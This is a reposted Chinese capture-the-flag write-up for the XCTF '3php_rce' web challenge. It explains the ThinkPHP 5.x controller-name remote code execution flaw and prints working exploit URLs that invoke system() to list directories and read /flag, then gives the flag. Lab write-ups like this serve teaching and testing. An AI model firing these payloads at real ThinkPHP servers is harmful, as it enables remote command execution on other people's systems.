XCTF-攻防世界CTF平台-Web类——3php_rce

Posted 大灬白

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XCTF-攻防世界CTF平台-Web类——3php_rce相关的知识,希望对你有一定的参考价值。

先访问题目场景:

主页提示我们:网页使用的是Thinkphp框架,版本为5.0
这道题主要是考察:ThinkPHP官方2018年12月9日发布重要的安全更新,修复了一个严重的远程代码执行漏洞。该更新主要涉及一个安全更新,由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞,受影响的版本包括5.0和5.1版本。
攻击的exp是:http://111.200.241.244:61059/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

通过s就可以获取路由信息,程序未对控制器进行过滤,导致攻击者可以用 \\(反斜杠)调用任意类方法。其中:

  1. index/是对应的模块
  2. \\think\\app 以反斜线开头,这就是我们想要实例化的类
  3. /invokefunction是让\\think\\app类想要调用的方法,
  4. function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1是对应invokefunction的参数。

对于选用invokefunction这个函数,是因为它是个反射函数,可以方便的调用任何函数。
关于如何解析把function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1这些解析成invokefuncition参数的,可以看下Request.php 对应的param函数。
需要注意的是不同版本的ThinkPHP,对应的文件、类名有些差异。当然还有很多的攻击方式,只要你去文件找到可以实例化的类构造相应的payload就行。

运行shell命令ls查看当前目录下的文件:http://111.200.241.244:61059/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

可以看到当前目录下的文件
查找根目录下的文件:http://111.200.241.244:61059/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /
参数/是根目录的意思,这表示显示根目录下的文件:

也可以使用find命令查找flag:

find / -name flag

或者

find / -name '*flag'

攻击:http://111.200.241.244:61059/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

都可以找到flag文件所在的位置
之后使用cat命令查看/flag文件内容:

cat /flag

攻击:http://111.200.241.244:61059/index.php?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

得到flag:flag{thinkphp5_rce}

以上是关于XCTF-攻防世界CTF平台-Web类——3php_rce的主要内容,如果未能解决你的问题,请参考以下文章

XCTF-攻防世界CTF平台-Web类——14supersqli

XCTF-攻防世界CTF平台-Web类——6warmup

XCTF-攻防世界CTF平台-Web类——7NewsCenter

XCTF-攻防世界CTF平台-Web类——13Web_php_unserialize

XCTF-攻防世界CTF平台-Web类——11upload1

XCTF-攻防世界CTF平台-Web类——4Web_php_include